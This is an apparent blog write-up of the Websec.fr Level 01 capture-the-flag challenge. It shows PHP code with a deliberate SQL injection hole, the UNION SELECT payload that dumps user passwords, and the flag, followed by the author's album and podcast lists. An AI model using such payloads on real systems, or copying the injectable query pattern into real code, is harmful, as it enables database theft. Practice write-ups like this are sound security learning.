Websec.fr Level 01

Websec.fr Level 1 level01 - 1 point - 2564 solves alt

The source code for level1 is shown here. Only the PHP code is included because the vulnerability is only in the PHP code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
session_start ();

ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

include 'anti_csrf.php';

init_token ();

class LevelOne {
    public function doQuery($injection) {
        $pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
        
        $query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
        $getUsers = $pdo->query($query);
        $users = $getUsers->fetchArray(SQLITE3_ASSOC);

        if ($users) {
            return $users;
        }

        return false;
    }
}

if (isset ($_POST['submit']) && isset ($_POST['user_id'])) {
    check_and_refresh_token();

    $lo = new LevelOne ();
    $userDetails = $lo->doQuery ($_POST['user_id']);
}
?>

<!DOCTYPE html>
<html>
........
</html>

The problem here is this line $query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1'; it’s a sqli .

alt text

So for any number between 1 and 3 we have a username, and our mission is to display a password who can be a flag.

For 1 :

1
2
id -> 1
username -> levelone

For 2 :

1
2
id -> 2
username -> jvoisin

For 3 :

1
2
id -> 3
username -> ExampleUser

The payload is : 1 UNION SELECT id, password FROM users

Flag : WEBSEC{Simple_SQLite_Injection}

Tedsig42

Another infosec enthusiast blog

A Rap / Classic Album that i ❤️

Caballero & Jeanjass - ZushiBoyz vol.4 - Edition exclusive (avec OBI)

Rounhaa - Jaafar

ZushiBoyz vol.3 - Edition exclusive (avec OBI)

Absolem - Les yeux grands fermés

Al-Walid - Sarman

Alpha Wann - Don Dada Mixtape

Alpha Wann - UMLA

Beeby - Gaia

Beeby - Morningstar

Beeby - UN GRAND CŒUR DANS UN MONDE DE FILS DE PUTE

Bushi - Bushi Tape 3

Caballero & Jeanjass - DOuble Helice 3

Caballero & Jeanjass - High & Fines Herbes

Caballero & Jeanjass - Zushiboyz Vol .1

Caballero & Jeanjass - Zushiboyz Vol.2

Caballero - Dose Heroique

Chavi & Guydelafonsdal - Chavidelafonsdal

Damso - Batterie Faible

Damso - Ipseite

Damso - Lithopedion

Damso - QALF

Deen Burbigo - Cercle Vertueux

Deen Burbigo - OG SAN 1

Deen Burbigo -OG SAN 2

Dimeh - OV3

GAL - Du Caviar Pour Mon Chien

GAL - JeuneBeurdelafontaine vol2

HJeuneCrack - 2eme Mouvement

HJeuneCrack - La Pieuvre

HJeuneCrack - Matiere Premiere

HJeunecrack - 1er Mouvement

HJeunecrack - 3eme Cycle

Hamza -1994

Hamza -Paradise

Huntrill - LE BRUIT DE LA MACHINE A BILLETS

Huntrill - Replica 2

Infinit - 888

Infinit - Ma vie est un film 2

Infinit - Mr Le Faire

Isha & Limsa D'Aulnay - Bitume caviar

JUngle Jack - Jungle des illusions Vol 2

JeanJass - Goldman

Jeanjass - Doudoune en été

Jeanjass - Tous ces ongles rongés

Jok'AIr - Jok'Rambo

Jok'Air - Jok'Chirac

Jok'Air - Jok'Travolta

Jok'Air - New Jok City

Josman - J.000.$

Josman - J.O.$

Josman - M.A.N (Black Roses & Lost Feelings)

Josman - MYSTR J.O.$

Josman - SPLIT

Jungle Jack - Cognacs et Cigarette

Jungle Jack - Creamland

Jungle Jack - Jungle des illusions

Juwel Usain - Ou les garcons grandissent

Keroue - Candella

Keroue - Record

Keroue - Scope

LaFeve - 24

LaFeve - ERRR

Le Monde Daho - Le Monde 00

Ledouble & Guydelafonsdal - LeDoubledelafonsdal

Lefa - Fame

Lefa -3 du mat

Lefa-DMNR

Luidji - Boscolo Exedra

Luidji - Saison 00

Luidji - Tristesse Business

Luther - EXIT

Luther - Garçon

Mairo - Omar Chappier

Mairo - Dejeuner en paix

Mairo, H JeuneCrack - La solution

Makala - Chaos Kiss

Makala - Radio Suicide

Makala - Yamoto

Nekfeu - LEV

Nepal - Adios Bahamas

Nes - CQSS

Nes - LA COURSE

Nes - Pour 2 VRAI

Nes - ÇA VA ALLER

Nujabes - MetaphoricalMusic

Nujabes - Modal Music

Nujabes - departure

OgLounis & Guydelafonsdal - OgLounisdelafonsdal

Oglounis - HARD LAIDBACKING BEFORE

Prince Wally - Moussa

Romeo Elvis - Chocolat

Romeo Elvis - Tout Peut Arriver

Romeo Elvis Morale

Selug & Kyo Itachi - TATAKAE

Slimka - Le Grand Mystico

Tisma & Guydelafonsdal - Tismadelafonsdal

Toothpick & Guydelafonsdal - Toothpickdelafonsdal

Toothpick - JEUNE LIFTIER

Toothpick x 3.14 - No Casquette Vol.1

Vald - Agartha

Vald - Ce Monde Est Cruel

Vald - V

Yvnnis - NOVAE

Zushiboyz (Info)

a5el - Mercenaire

okis & Mani Deïz - Rêve d'un rouilleur

Podcasts I listen to

A la french

Cyber Talk

Cyberpunk Compagnie

Darknet Diaries

Hack'n Speak

La Cybersecurite expliquee a ma grande mere

Le comptoir secu

No-Limit-Secu

Oxide and Friends

Polysecure

Purple Voice

Service Hacktion

Underscore

Search

Websec.fr Level 01

Tedsig42

A Rap / Classic Album that i ❤️

Podcasts I listen to

On this page